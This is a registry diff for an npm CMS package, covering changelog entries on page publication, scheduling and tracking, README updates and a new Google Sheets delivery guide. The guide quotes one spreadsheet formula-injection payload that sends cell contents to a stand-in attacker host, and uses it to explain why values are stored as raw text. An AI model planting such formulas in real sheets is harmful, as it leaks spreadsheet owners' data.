@bygghammar/cms-platform 0.90.0-m7.9 → 0.91.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +241 -0
- package/README.md +23 -1
- package/docs/GOOGLE-SHEETS.md +145 -0
- package/docs/LAYOUT-BLOCKS.md +125 -0
- package/docs/MEDIA-FOLDERS.md +90 -0
- package/docs/NEW-SITE.md +35 -0
- package/docs/PAGES.md +452 -0
- package/docs/SCHEDULING.md +130 -0
- package/docs/TYPOGRAPHY.md +86 -0
- package/migrations/20260904090000_c54603f8-a155-40f8-a86c-54434aa5c0ae.sql +33 -0
- package/migrations/20260904140000_9f2a7c41-06d5-4d6b-8b4e-1c7a5d3e9b20.sql +383 -0
- package/migrations/20260904160000_0d565000-2839-4738-aacc-537d7090398f.sql +751 -0
- package/package.json +5 -1
- package/src/backoffice/DomainsView.tsx +152 -25
- package/src/backoffice/FormEditorView.tsx +10 -0
- package/src/backoffice/FormSettingsView.tsx +8 -0
- package/src/backoffice/MediaLibraryView.tsx +239 -21
- package/src/backoffice/NavigationView.tsx +43 -0
- package/src/backoffice/PageBuilderView.tsx +193 -36
- package/src/backoffice/PageEditorView.tsx +293 -57
- package/src/backoffice/PagesListView.tsx +294 -19
- package/src/backoffice/ScheduleFields.tsx +151 -0
- package/src/backoffice/SectionFormView.tsx +58 -0
- package/src/backoffice/StatusBadge.tsx +174 -0
- package/src/backoffice/TrackingView.tsx +247 -208
- package/src/backoffice/TypographyPanel.tsx +308 -0
- package/src/backoffice/forms/GoogleSheetsHelp.tsx +220 -0
- package/src/backoffice/inspectors/blocks.tsx +149 -0
- package/src/backoffice/inspectors/fields.tsx +81 -0
- package/src/backoffice/inspectors/index.tsx +3 -0
- package/src/backoffice/media/ConfirmDialog.tsx +64 -4
- package/src/backoffice/routes/host.ts +31 -0
- package/src/backoffice/routes/index.tsx +140 -15
- package/src/backoffice/routes/media-forms.tsx +5 -0
- package/src/backoffice/seo/PageSeoPanelView.tsx +31 -6
- package/src/backoffice/seo/page-seo-form.ts +11 -1
- package/src/backoffice/shell/domain-guard.ts +27 -14
- package/src/backoffice/shell/index.ts +5 -0
- package/src/backoffice/shell/use-resolved-config.tsx +67 -0
- package/src/backoffice/tracking-drafts.ts +150 -0
- package/src/blocks/block-children.tsx +40 -0
- package/src/blocks/block-tree.ts +378 -0
- package/src/blocks/components/IconGridBlock.tsx +76 -51
- package/src/blocks/components/LayoutBlock.tsx +100 -0
- package/src/blocks/countdown-time.ts +17 -87
- package/src/blocks/registry.tsx +21 -0
- package/src/blocks/types.ts +40 -0
- package/src/cms/page-publication.ts +377 -0
- package/src/cms/page-status.ts +152 -0
- package/src/cms/timezone.ts +181 -0
- package/src/cms/use-publication-boundary.ts +84 -0
- package/src/cms/use-schedule-clock.ts +43 -0
- package/src/cms/visibility-schedule.ts +267 -0
- package/src/config/modules.ts +34 -10
- package/src/config/site-config.ts +32 -0
- package/src/config/typography.ts +143 -0
- package/src/http/cache-policy.ts +49 -2
- package/src/media/folders.ts +183 -0
- package/src/media/use-media-upload.ts +21 -4
- package/src/navigation/index.ts +34 -2
- package/src/platform/contract.ts +52 -1
- package/src/runtime/server-entry.ts +8 -2
- package/src/server/content-sections-core.ts +16 -0
- package/src/server/domains-core.ts +124 -107
- package/src/server/forms-delivery-core.ts +61 -10
- package/src/server/forms-submissions-core.ts +47 -0
- package/src/server/google-service-account.ts +325 -0
- package/src/server/google-sheets-core.ts +463 -0
- package/src/server/http/sitemap.ts +32 -8
- package/src/server/injections-core.ts +230 -49
- package/src/server/media-library-core.ts +27 -6
- package/src/server/pages-core.ts +680 -184
- package/src/server/published-cache.ts +25 -4
- package/src/server/resolve-globals.ts +6 -1
- package/src/server/schema-drift.ts +4 -0
- package/src/server/schemas.ts +15 -0
- package/src/site/PageRenderer.tsx +45 -12
- package/src/site/SiteFooter.tsx +44 -3
- package/src/site/SiteHeader.tsx +23 -2
- package/src/site/google-fonts.ts +191 -0
- package/src/site/host.ts +172 -0
- package/src/site/locale-domains.ts +500 -0
- package/src/site/routes/public-page.tsx +12 -1
- package/src/site/routes.ts +206 -38
- package/src/site/site-url.ts +80 -17
- package/src/site/typography.tsx +75 -0
- package/src/tracking/injections.ts +52 -9
- package/src/ui/MobileCarousel.tsx +289 -0
package/CHANGELOG.md
CHANGED
|
@@ -8,6 +8,247 @@ matches `package.json` exactly. See
|
|
|
8
8
|
Versions 0.1.0 through 0.78.0 predate this repository and were reconstructed
|
|
9
9
|
from the published npm tarballs.
|
|
10
10
|
|
|
11
|
+
## 0.91.0
|
|
12
|
+
|
|
13
|
+
- Stable promotion of `0.91.0-m7.1`. There are no runtime source, database
|
|
14
|
+
schema, migration or behaviour changes in this release; only the package
|
|
15
|
+
version and this release note differ.
|
|
16
|
+
- Published on npm's default `latest` dist-tag. The milestone `m7` dist-tag
|
|
17
|
+
remains on `0.91.0-m7.1`, and consuming sites should pin the exact stable
|
|
18
|
+
version `0.91.0`.
|
|
19
|
+
- `PLATFORM_CONTRACT_VERSION` remains 2. Sites upgrading from
|
|
20
|
+
`0.90.0-m7.12` or earlier must apply all three new canonical migrations in
|
|
21
|
+
chronological order, then verify `compareSchema` and
|
|
22
|
+
`assertPlatformContract(2)` before enabling editors.
|
|
23
|
+
|
|
24
|
+
## 0.91.0-m7.1
|
|
25
|
+
|
|
26
|
+
**`PLATFORM_CONTRACT_VERSION` is 2.** This release changes what a host's
|
|
27
|
+
database must provide, and a breaking contract change takes a minor bump while
|
|
28
|
+
this package is pre-1.0, so the minor moves and the milestone counter restarts.
|
|
29
|
+
The channel is unchanged: this publishes to the `m7` dist-tag and does not move
|
|
30
|
+
`latest`.
|
|
31
|
+
|
|
32
|
+
- `page_publications` alone decides what the public website serves. A page with
|
|
33
|
+
no open publication row cannot be reached, however well somebody knows its
|
|
34
|
+
URL, and the public reader answers from those rows.
|
|
35
|
+
- `pages.status` is separate editorial metadata. It does not grant or withhold
|
|
36
|
+
public access, and it is not a mirror of it: a page whose status is `draft`
|
|
37
|
+
can intentionally be public for the length of a scheduled publication window,
|
|
38
|
+
because the row says so and the status has no vote.
|
|
39
|
+
- Publishing is an explicit, confirmed act. Publish and unpublish both ask
|
|
40
|
+
first, and the confirmation follows the transition rather than the state, so
|
|
41
|
+
publishing over a queued update says that it cancels that update and
|
|
42
|
+
unpublishing over a schedule says that it cancels the schedule. New and
|
|
43
|
+
duplicated pages start as drafts.
|
|
44
|
+
- Scheduling is real, and the two schedulable things have different shapes. A
|
|
45
|
+
page version has a required start and an optional end, and the transition is
|
|
46
|
+
applied inside the same statement that records it. Menu items, footer columns
|
|
47
|
+
and footer links support independent show and hide boundaries through one
|
|
48
|
+
`isVisibleAt`: either bound may be left empty, and an item with neither is
|
|
49
|
+
simply live. Instants are stored as UTC; editors type wall-clock time in the
|
|
50
|
+
site's timezone.
|
|
51
|
+
- Cancelling a schedule is no longer a way to unpublish. The server refuses to
|
|
52
|
+
cancel a publication row that has already started and names Unpublish as the
|
|
53
|
+
thing to use instead, because cancelling a started row would take the page off
|
|
54
|
+
the public website — possibly restoring an older version — under a word that
|
|
55
|
+
promises the opposite. A row that is already inactive answers
|
|
56
|
+
`already-cancelled` and writes nothing.
|
|
57
|
+
- The trash cannot leave a page published. Soft-deleting retires the
|
|
58
|
+
publication rows that made it public, and restoring puts a page back as a
|
|
59
|
+
draft instead of silently republishing whatever was live when it was deleted.
|
|
60
|
+
Restore now refuses a page that is not in the trash rather than retiring its
|
|
61
|
+
publications.
|
|
62
|
+
- A screen left open crosses a publication boundary in front of the editor.
|
|
63
|
+
Both the builder and the pages list re-read themselves when the next
|
|
64
|
+
scheduled transition falls due, through one hook that owns a chain of timers.
|
|
65
|
+
A boundary that has passed is asked about once and then on a bounded, growing
|
|
66
|
+
wait — thirty seconds doubling to five minutes — so a slow or failing read
|
|
67
|
+
cannot turn into a zero-delay refetch loop; what restores the ordinary timer
|
|
68
|
+
is a new `publication_at` arriving in fresh data.
|
|
69
|
+
- Layout blocks are a real nested block model. A layout block holds two to
|
|
70
|
+
eight columns that fold through tablet to a single column on mobile, and an
|
|
71
|
+
illegal move is refused by a typed `MoveResult` instead of being silently
|
|
72
|
+
dropped.
|
|
73
|
+
- Icon cards become a scroll-snap carousel on mobile only; desktop is
|
|
74
|
+
unchanged. It honours `prefers-reduced-motion`, is keyboard-navigable, and
|
|
75
|
+
adds no dependency.
|
|
76
|
+
- Uploads land in dated media folders. No existing file moves and no existing
|
|
77
|
+
URL changes. A custom folder name is sanitised, or refused outright rather
|
|
78
|
+
than allowed to escape its prefix.
|
|
79
|
+
- Google Sheets delivery moves to a service account, so the spreadsheet stays
|
|
80
|
+
private and no credential reaches the browser. A submission is stored before
|
|
81
|
+
delivery is attempted, so a Sheets outage cannot lose one, and "Test
|
|
82
|
+
connection" classifies each failure instead of reporting an unproven write as
|
|
83
|
+
success — it never writes a row.
|
|
84
|
+
- Menu and footer each pick a Google font independently, from a static
|
|
85
|
+
catalogue, offering only the weights a family actually has. No API key is
|
|
86
|
+
needed in the browser to show the picker, and no font is selected for an
|
|
87
|
+
existing site by this release.
|
|
88
|
+
- New documentation: `docs/PAGES.md`, `docs/SCHEDULING.md`,
|
|
89
|
+
`docs/LAYOUT-BLOCKS.md`, `docs/MEDIA-FOLDERS.md`, `docs/GOOGLE-SHEETS.md` and
|
|
90
|
+
`docs/TYPOGRAPHY.md`.
|
|
91
|
+
|
|
92
|
+
**All three new migrations must be applied, in chronological order.** The latter
|
|
93
|
+
two are the contract-v2 publication migrations.
|
|
94
|
+
|
|
95
|
+
- `20260904090000_c54603f8-a155-40f8-a86c-54434aa5c0ae.sql` — additive only:
|
|
96
|
+
restates the `pages.status` default, comments the column, adds two partial
|
|
97
|
+
indexes.
|
|
98
|
+
- `20260904140000_9f2a7c41-06d5-4d6b-8b4e-1c7a5d3e9b20.sql` — backfills one open
|
|
99
|
+
publication row for every published, undeleted page that has no active row, so
|
|
100
|
+
a site live before the upgrade is live after it, and installs the functions
|
|
101
|
+
that own visibility.
|
|
102
|
+
- `20260904160000_0d565000-2839-4738-aacc-537d7090398f.sql` — adds the trash and
|
|
103
|
+
cancellation functions, and runs two repair `UPDATE`s confined to pages
|
|
104
|
+
already in the trash.
|
|
105
|
+
|
|
106
|
+
All three are registered in `SCHEMA_MIGRATIONS`, so `compareSchema` reports any
|
|
107
|
+
one of them as missing — the additive first one included. Skipping it because it
|
|
108
|
+
changes no behaviour still leaves a site reporting drift.
|
|
109
|
+
|
|
110
|
+
**Deployment must enforce both checks before editors are enabled.**
|
|
111
|
+
`compareSchema(applied)` is what names a missing migration file, and it needs
|
|
112
|
+
the host to hand it the migrations actually applied. `assertPlatformContract(2)`
|
|
113
|
+
compares version numbers and never looks at the database. Neither stands in for
|
|
114
|
+
the other: run both, and let editors back in only once both pass.
|
|
115
|
+
|
|
116
|
+
## 0.90.0-m7.12
|
|
117
|
+
|
|
118
|
+
- The page SEO panel no longer prints a bare page path under the Canonical
|
|
119
|
+
heading. For a locale with no configured public domain there is no canonical
|
|
120
|
+
URL, and a path shown there reads as an address on whatever hostname the
|
|
121
|
+
backoffice happens to be open at.
|
|
122
|
+
- That case now says so in words — *No public URL — no domain configured for
|
|
123
|
+
this language* — instead of a relative path, the current or backoffice
|
|
124
|
+
hostname, another locale's domain, or a fabricated absolute URL.
|
|
125
|
+
- The Route row is unchanged and still shows the page path alongside the
|
|
126
|
+
current registry route, so nothing that was accurate is lost.
|
|
127
|
+
- A mapped locale is unaffected: its canonical preview stays absolute on that
|
|
128
|
+
locale's own domain. So is single-origin mode, where the one hostname serving
|
|
129
|
+
every language answers for each of them.
|
|
130
|
+
- `pageSeoPreviewCanonical` keeps its signature and its return value, path
|
|
131
|
+
fallback included, so existing callers are unaffected; what an empty origin
|
|
132
|
+
means is decided by `PageSeoPanelView`, which owns the display. The helper's
|
|
133
|
+
documentation now records that the fallback is not a URL.
|
|
134
|
+
- Regression coverage renders the panel and asserts the Canonical row itself
|
|
135
|
+
for the mapped, single-origin and unmapped cases.
|
|
136
|
+
- No migration and no database change.
|
|
137
|
+
|
|
138
|
+
## 0.90.0-m7.11
|
|
139
|
+
|
|
140
|
+
- The page builder no longer invents a public URL for a locale with no
|
|
141
|
+
configured public domain. An empty `publicHost(locale)` means no public URL
|
|
142
|
+
exists, and is no longer read as a relative one.
|
|
143
|
+
- For an unmapped locale the page path is shown as plain, non-clickable
|
|
144
|
+
information, saying that no domain is configured for that language. The
|
|
145
|
+
public-link anchor and the Copy URL action are omitted rather than pointed
|
|
146
|
+
somewhere else: no relative href, no backoffice or request hostname, no other
|
|
147
|
+
locale's domain.
|
|
148
|
+
- Draft Preview keeps working for an unmapped locale. Previewing is a
|
|
149
|
+
backoffice operation and has never needed a public hostname.
|
|
150
|
+
- The `publicHost`, `publicPath` and `usePageUrl` host contracts document this,
|
|
151
|
+
so a host knows what the empty string means before it implements one.
|
|
152
|
+
- No migration and no database change. Nothing in this release concerns a
|
|
153
|
+
host's own integration code.
|
|
154
|
+
|
|
155
|
+
## 0.90.0-m7.10
|
|
156
|
+
|
|
157
|
+
- Code & tracking drafts survive a refetch. A background reload replaced the
|
|
158
|
+
table under the administrator's hands: a brand new profile, a duplicate made
|
|
159
|
+
from an existing one, and edits typed but not yet saved all disappeared
|
|
160
|
+
without a word. What the server sends is merged into what is on screen
|
|
161
|
+
instead of replacing it.
|
|
162
|
+
- Tracking profiles apply in global, then language, then domain order, so a
|
|
163
|
+
domain profile refines the language one rather than replacing it. Hostname
|
|
164
|
+
matching is consistent throughout: an apex and its single `www.` are the same
|
|
165
|
+
site everywhere the decision is made.
|
|
166
|
+
- GTM, GA4, Meta Pixel, TikTok Pixel, verification meta tags and raw
|
|
167
|
+
head / body-start / body-end code all reach the server-rendered HTML at the
|
|
168
|
+
position each one requires, rather than depending on a client-side step to
|
|
169
|
+
fire.
|
|
170
|
+
- Raw custom code is injected byte for byte. `$&`, `` $` ``, `$'` and `$$` in a
|
|
171
|
+
snippet were read as replacement patterns and rewrote the markup around them;
|
|
172
|
+
a profile now reaches the page exactly as it was typed.
|
|
173
|
+
- Tracking is excluded from the configured backoffice path, preview routes, API
|
|
174
|
+
routes and server-function routes, so pixels no longer fire on administrative
|
|
175
|
+
traffic or on responses that are not pages.
|
|
176
|
+
- A tracking read that fails leaves the public site standing. The page renders
|
|
177
|
+
without injection, the failure is reported through an injectable logger, and
|
|
178
|
+
it is not cached — the next request retries instead of serving a fabricated
|
|
179
|
+
empty configuration for the rest of the cache window. A backend that answers
|
|
180
|
+
with an error rather than throwing counts as a failure; treating it as "no
|
|
181
|
+
profiles" made a broken deployment indistinguishable from an unconfigured one.
|
|
182
|
+
- The tracking cache is bounded rather than growing one entry per hostname
|
|
183
|
+
seen, and a successful create, update or delete drops it, so a change goes
|
|
184
|
+
live within the TTL instead of sitting behind whatever was cached first.
|
|
185
|
+
- A failed audit entry or a failed log line cannot undo a write that already
|
|
186
|
+
happened. Both are best-effort in both directions: the mutation stands and is
|
|
187
|
+
reported as the success it was, rather than coming back as an error whose
|
|
188
|
+
obvious retry inserts a second profile. That now holds even when the
|
|
189
|
+
host-supplied logger is itself what throws.
|
|
190
|
+
- A newly created profile whose id the server cannot establish is held until the
|
|
191
|
+
page is reloaded. The insert may well have landed, so pressing Save again
|
|
192
|
+
would create a duplicate firing every pixel twice; the screen says to reload,
|
|
193
|
+
and saving existing profiles is unaffected.
|
|
194
|
+
- Languages & domains has moved out of the main sidebar into System
|
|
195
|
+
administration, alongside the other installation-level screens.
|
|
196
|
+
- Code & tracking and Languages & domains require the `admin` role, matching the
|
|
197
|
+
authorization their server functions already enforce. Staff without it get a
|
|
198
|
+
plain no-access screen instead of a form that fails on Save.
|
|
199
|
+
- Storing a hostname and matching a request against one are now separate
|
|
200
|
+
questions. Canonical output carries the exact hostname the deployment
|
|
201
|
+
configured; matching still folds an apex and one `www.` together. A page is no
|
|
202
|
+
longer canonical on two of its own addresses.
|
|
203
|
+
- Canonical URLs, `og:url`, hreflang, `og:locale:alternate` and both sitemaps
|
|
204
|
+
are built from the configured canonical hostnames.
|
|
205
|
+
- Rows written before the domain validator existed are ignored for matching and
|
|
206
|
+
for every generated URL, instead of being normalized into a plausible-looking
|
|
207
|
+
address. `ftp://example.com` no longer reduces to `example.com` and wins a
|
|
208
|
+
request for it — which had decided the locale, the tracking profiles that fire
|
|
209
|
+
and the backoffice hostname alike.
|
|
210
|
+
- In explicit domain-mapping mode a supported language with no configured domain
|
|
211
|
+
is left out of hreflang and sitemap alternates, instead of borrowing another
|
|
212
|
+
locale's origin — or the origin of the current request — and advertising a URL
|
|
213
|
+
this deployment may not serve.
|
|
214
|
+
- Single-origin multilingual sites are supported by the sitemap helpers.
|
|
215
|
+
`sitemapEntries` and `sitemapIndexEntries` take the public origin and emit
|
|
216
|
+
absolute URLs only. Previously a locale sitemap could come out carrying
|
|
217
|
+
relative URLs, while the sitemap index had no domain mappings from which to
|
|
218
|
+
build entries at all.
|
|
219
|
+
- Public locale-domain projections omit `isAdminDomain`. Which hostname serves
|
|
220
|
+
the backoffice is not something an anonymous reader needs to be told.
|
|
221
|
+
- `SITE_URL` is validated before it can become the authoritative admin hostname,
|
|
222
|
+
and as configured rather than after normalizing — normalizing strips the
|
|
223
|
+
scheme, so a value nobody can serve validated cleanly and was allowed to
|
|
224
|
+
override the database and switch off the check that stops an unreachable
|
|
225
|
+
admin domain being saved.
|
|
226
|
+
- Admin-host resolution fails open. An unusable flagged row falls through to the
|
|
227
|
+
next source instead of stranding the backoffice, the screen names which source
|
|
228
|
+
the hostname came from, and the banner refreshes when a domain is saved.
|
|
229
|
+
- **Host integration required after upgrading.** Nothing below is done by this
|
|
230
|
+
package on the host's behalf:
|
|
231
|
+
- expose the shared Languages & domains screen at the host's canonical
|
|
232
|
+
`/admin/domains` route;
|
|
233
|
+
- keep the old `/domains` route as a compatibility redirect where applicable;
|
|
234
|
+
- register `getEffectiveAdminHost` among the backoffice host functions, so
|
|
235
|
+
the screen can say where the backoffice actually is;
|
|
236
|
+
- use `siteCanonicalHost()` when passing `SITE_URL` authority, not the raw
|
|
237
|
+
environment value;
|
|
238
|
+
- pass the public origin to `sitemapEntries` and `sitemapIndexEntries` on
|
|
239
|
+
single-origin sites;
|
|
240
|
+
- pass the configured `backofficePath` into `createServerEntry`, or tracking
|
|
241
|
+
will be injected into the backoffice;
|
|
242
|
+
- split public-safe locale-domain reads from authenticated admin reads; and
|
|
243
|
+
- ensure the tracking-create server function returns the newly created
|
|
244
|
+
profile id, which the screen now requires before it will treat a create as
|
|
245
|
+
complete.
|
|
246
|
+
- No database migration is included in this release, and no database data is
|
|
247
|
+
changed by it.
|
|
248
|
+
- Not included and not yet verified: Voyara's own integration is not part of
|
|
249
|
+
this package release, and neither staging nor production has been verified
|
|
250
|
+
with `0.90.0-m7.10`.
|
|
251
|
+
|
|
11
252
|
## 0.90.0-m7.9
|
|
12
253
|
|
|
13
254
|
- The email settings screen says where provider credentials actually go. An
|
package/README.md
CHANGED
|
@@ -33,6 +33,25 @@ overwrite each other: run the migration, expose one server endpoint through
|
|
|
33
33
|
forward `editSessionId` to the saves. Until that is done every screen behaves
|
|
34
34
|
exactly as it did before locks existed.
|
|
35
35
|
|
|
36
|
+
## Feature guides
|
|
37
|
+
|
|
38
|
+
| Guide | What it covers |
|
|
39
|
+
| --- | --- |
|
|
40
|
+
| `docs/PAGES.md` | Draft/published pages, the publish and unpublish confirmations, duplication |
|
|
41
|
+
| `docs/SCHEDULING.md` | `VisibilitySchedule`, site-timezone editing, scheduled menu and footer items |
|
|
42
|
+
| `docs/LAYOUT-BLOCKS.md` | The columns block, the nested block tree and its move rules, the Icon Cards mobile carousel |
|
|
43
|
+
| `docs/MEDIA-FOLDERS.md` | Automatic month folders, custom upload folders and their sanitising, library browsing |
|
|
44
|
+
| `docs/GOOGLE-SHEETS.md` | Service-account form delivery, the connection test, and the server variables it needs |
|
|
45
|
+
| `docs/TYPOGRAPHY.md` | Independent Google Fonts for the menu and the footer |
|
|
46
|
+
|
|
47
|
+
## Server variables
|
|
48
|
+
|
|
49
|
+
Beyond the existing provider secrets, Google Sheets delivery reads either
|
|
50
|
+
`GOOGLE_SERVICE_ACCOUNT_JSON`, or `GOOGLE_SERVICE_ACCOUNT_EMAIL` plus
|
|
51
|
+
`GOOGLE_SERVICE_ACCOUNT_PRIVATE_KEY`. All three are server-only; nothing Google
|
|
52
|
+
related is ever read in the browser, and the font picker needs no API key. See
|
|
53
|
+
`docs/GOOGLE-SHEETS.md`.
|
|
54
|
+
|
|
36
55
|
## Compatibility policy
|
|
37
56
|
|
|
38
57
|
- `CHANGELOG.md` records every release; read it before upgrading.
|
|
@@ -40,7 +59,10 @@ exactly as it did before locks existed.
|
|
|
40
59
|
releases are always compatible.
|
|
41
60
|
- `PLATFORM_CONTRACT_VERSION` (`platform/contract`) is bumped when a shared
|
|
42
61
|
screen starts requiring schema or adapter capabilities an older site lacks.
|
|
43
|
-
Sites pin it in a test.
|
|
62
|
+
Sites pin it in a test. It is **v2**: page saves, publishing, trashing and
|
|
63
|
+
restoring go through database functions that the two `20260904…` publication
|
|
64
|
+
migrations install, so migrations are applied before the package is deployed.
|
|
65
|
+
`docs/NEW-SITE.md` gives the order.
|
|
44
66
|
- `migrations/` is schema only. Site content, SEO copy and seeds never belong
|
|
45
67
|
there.
|
|
46
68
|
|
|
@@ -0,0 +1,145 @@
|
|
|
1
|
+
# Google Sheets delivery
|
|
2
|
+
|
|
3
|
+
Form submissions can be appended to a Google Sheet. The spreadsheet stays
|
|
4
|
+
**private**: the site signs in as its own service account, and an editor shares
|
|
5
|
+
the sheet with that account's address exactly as they would with a colleague.
|
|
6
|
+
|
|
7
|
+
The older pattern — publish the sheet to the web and write to it — is not
|
|
8
|
+
supported, because "make it public so the robot can reach it" is a data breach
|
|
9
|
+
with a workaround's name on it.
|
|
10
|
+
|
|
11
|
+
## Configuration
|
|
12
|
+
|
|
13
|
+
The credential lives in the server environment, alongside every other provider
|
|
14
|
+
secret (`src/server/provider-secrets.ts`). Two accepted forms:
|
|
15
|
+
|
|
16
|
+
| Variable | Notes |
|
|
17
|
+
| --- | --- |
|
|
18
|
+
| `GOOGLE_SERVICE_ACCOUNT_JSON` | The whole downloaded key file. Raw JSON or base64. |
|
|
19
|
+
| `GOOGLE_SERVICE_ACCOUNT_EMAIL` + `GOOGLE_SERVICE_ACCOUNT_PRIVATE_KEY` | The two fields separately. |
|
|
20
|
+
|
|
21
|
+
The JSON form wins when both are present: it is the artefact Google actually
|
|
22
|
+
hands out, so a deployment that pasted it verbatim should not be quietly
|
|
23
|
+
overridden by a half-filled pair.
|
|
24
|
+
|
|
25
|
+
`\n` escapes inside the private key are accepted, because that is what a `.env`
|
|
26
|
+
file does to a PEM and every deployment hits it once.
|
|
27
|
+
|
|
28
|
+
### What must never happen
|
|
29
|
+
|
|
30
|
+
- **No credential reaches the browser.** The server returns only the service
|
|
31
|
+
account's *email address*, which is an identifier, not a secret — and it is the
|
|
32
|
+
one thing the editor cannot guess.
|
|
33
|
+
- **No credential is stored in the database or in page content.** It is an
|
|
34
|
+
environment variable, full stop.
|
|
35
|
+
- **No credential appears in an error.** `googleErrorDetail` reads only Google's
|
|
36
|
+
documented status text and truncates it to 200 characters, so an error cannot
|
|
37
|
+
grow into a key dump.
|
|
38
|
+
|
|
39
|
+
Signing uses Web Crypto (`RSASSA-PKCS1-v1_5` / SHA-256). No Google SDK, no JWT
|
|
40
|
+
library, no new dependency.
|
|
41
|
+
|
|
42
|
+
Access tokens are cached for their lifetime minus 60 seconds of slack, so a busy
|
|
43
|
+
form does not pay for an RSA signature and a round trip on every submission.
|
|
44
|
+
`clearGoogleTokenCache()` is the test seam.
|
|
45
|
+
|
|
46
|
+
## Test connection
|
|
47
|
+
|
|
48
|
+
The admin panel has a **Test connection** button, and its whole purpose is to
|
|
49
|
+
give a different answer for each different problem. A single "it didn't work" is
|
|
50
|
+
the reason these integrations get abandoned.
|
|
51
|
+
|
|
52
|
+
| `SheetsErrorCode` | What the editor is told to do |
|
|
53
|
+
| --- | --- |
|
|
54
|
+
| `credentials-missing` | A developer sets the server variables; nothing is fixable from here. |
|
|
55
|
+
| `credentials-invalid` | The stored key is not accepted by Google; re-copy it from the key file. |
|
|
56
|
+
| `invalid-spreadsheet-id` | Copy the long ID from the URL, between `/d/` and `/edit`. |
|
|
57
|
+
| `spreadsheet-not-found` | No spreadsheet with that ID exists. |
|
|
58
|
+
| `permission-denied` | Share the sheet with the address shown, as Editor. |
|
|
59
|
+
| `worksheet-not-found` | Check the tab name — the existing tabs are listed. |
|
|
60
|
+
| `api-unavailable` | Nothing is wrong. Try again shortly. |
|
|
61
|
+
|
|
62
|
+
On `permission-denied` the panel shows the service account address with a **copy
|
|
63
|
+
button**, because the next thing the editor has to do is paste it into Google's
|
|
64
|
+
share dialog.
|
|
65
|
+
|
|
66
|
+
`worksheet-not-found` lists the tabs that *do* exist. Nine times out of ten the
|
|
67
|
+
answer is that the tab is called `Blad1`, not `Sheet1`.
|
|
68
|
+
|
|
69
|
+
**The test never writes a row.** It reads the spreadsheet's title and tab list,
|
|
70
|
+
and asks Drive whether this caller may edit the file. An integration test that
|
|
71
|
+
leaves junk in the customer's sheet trains people not to use it.
|
|
72
|
+
|
|
73
|
+
`canWrite` therefore has three values, not two:
|
|
74
|
+
|
|
75
|
+
| `canWrite` | Meaning |
|
|
76
|
+
| --- | --- |
|
|
77
|
+
| `true` | Drive says this account may edit the file. |
|
|
78
|
+
| `false` | Drive says it may not — shared as Viewer, not Editor. The test fails. |
|
|
79
|
+
| `null` | Drive did not answer, usually because its API is not enabled on the project. Write access is **unconfirmed**, and the panel says so. |
|
|
80
|
+
|
|
81
|
+
`null` is not `true`. Reading the sheet needs less access than appending to it,
|
|
82
|
+
so a green test that could not reach Drive means "the ID, the tab and the
|
|
83
|
+
credentials are right" — not "a submission will land". The panel's wording
|
|
84
|
+
follows that exactly.
|
|
85
|
+
|
|
86
|
+
## What actually counts as a delivered row
|
|
87
|
+
|
|
88
|
+
Two things a green test cannot promise, handled at the append itself:
|
|
89
|
+
|
|
90
|
+
- **A 2xx is not a delivery.** Google answers an append with what it wrote;
|
|
91
|
+
`appendGoogleSheetRow` reads `updates.updatedRows` and treats anything else —
|
|
92
|
+
a body it cannot parse, zero rows, a proxy's HTML — as a failed delivery. A
|
|
93
|
+
submission wrongly marked delivered is the one state nobody goes back and
|
|
94
|
+
checks.
|
|
95
|
+
- **Every call has a deadline.** `GOOGLE_REQUEST_TIMEOUT_MS` (10s) arms an
|
|
96
|
+
`AbortSignal` on the token exchange, both connection-test reads and the
|
|
97
|
+
append. A visitor is waiting on these; a connection Google accepts and never
|
|
98
|
+
answers must not hold the submission open until something further out gives
|
|
99
|
+
up. A timeout reports `api-unavailable`, which is already the retryable case.
|
|
100
|
+
|
|
101
|
+
## Visitor text is text, never a formula
|
|
102
|
+
|
|
103
|
+
The append sends `valueInputOption=RAW`. `USER_ENTERED` parses each value the
|
|
104
|
+
way it would if a person had typed it into the grid, so a visitor who writes
|
|
105
|
+
`=IMPORTXML("https://evil.test/?c="&A1,"//a")` into a form field would have a
|
|
106
|
+
live formula stored in the customer's sheet, re-running under the sheet owner's
|
|
107
|
+
account every time they open it. RAW stores the characters. The values still
|
|
108
|
+
*look* wrong in the cell, which is the correct outcome: it is what the visitor
|
|
109
|
+
typed.
|
|
110
|
+
|
|
111
|
+
`sheetRange` quotes the worksheet name in A1 notation and doubles any
|
|
112
|
+
apostrophe in it — `Anna's tab` becomes `'Anna''s tab'!A:Z`. An unquoted tab
|
|
113
|
+
name with a space in it is the most common cause of an append that returns
|
|
114
|
+
`Unable to parse range` after a test that passed.
|
|
115
|
+
|
|
116
|
+
## Submissions do not depend on Google
|
|
117
|
+
|
|
118
|
+
A submission is stored first and delivered second. If Sheets is unreachable,
|
|
119
|
+
misconfigured, or returns an error, **the submission is still saved** and the
|
|
120
|
+
failure is recorded against it. The visitor gets their confirmation.
|
|
121
|
+
|
|
122
|
+
Losing a customer enquiry because a spreadsheet was renamed is not an acceptable
|
|
123
|
+
failure mode, and delivery is a side effect, not the record. The header of
|
|
124
|
+
`forms-submissions-core.ts` states the invariant directly: *a stored submission is
|
|
125
|
+
never deleted by a delivery failure.* The row is inserted, delivery is attempted,
|
|
126
|
+
and the outcome is patched onto the row that already exists.
|
|
127
|
+
|
|
128
|
+
## The legacy gateway
|
|
129
|
+
|
|
130
|
+
`appendViaLegacyGateway` is still in `forms-delivery-core.ts`. It is the
|
|
131
|
+
pre-service-account path (`LOVABLE_API_KEY` + `GOOGLE_SHEETS_API_KEY` through a
|
|
132
|
+
third-party connector) and it was left alone deliberately: sites configured
|
|
133
|
+
before this change keep working without an emergency redeployment.
|
|
134
|
+
|
|
135
|
+
It is **never reached when a service account is configured**, and when neither is
|
|
136
|
+
configured the error it returns names the service-account variables, so the
|
|
137
|
+
message points at the supported path rather than the deprecated one. It is the
|
|
138
|
+
code to delete once every installation has moved.
|
|
139
|
+
|
|
140
|
+
## Testing
|
|
141
|
+
|
|
142
|
+
`tests/google-sheets.test.ts` injects a fake `fetch` and a fake `Env`. There is
|
|
143
|
+
no real credential, no network call and no live spreadsheet anywhere in the
|
|
144
|
+
suite. Both `resolveGoogleCredentials` and `googleAccessToken` take their
|
|
145
|
+
environment and their fetch as parameters precisely so this is possible.
|
|
@@ -0,0 +1,125 @@
|
|
|
1
|
+
# Layout, columns and nested blocks
|
|
2
|
+
|
|
3
|
+
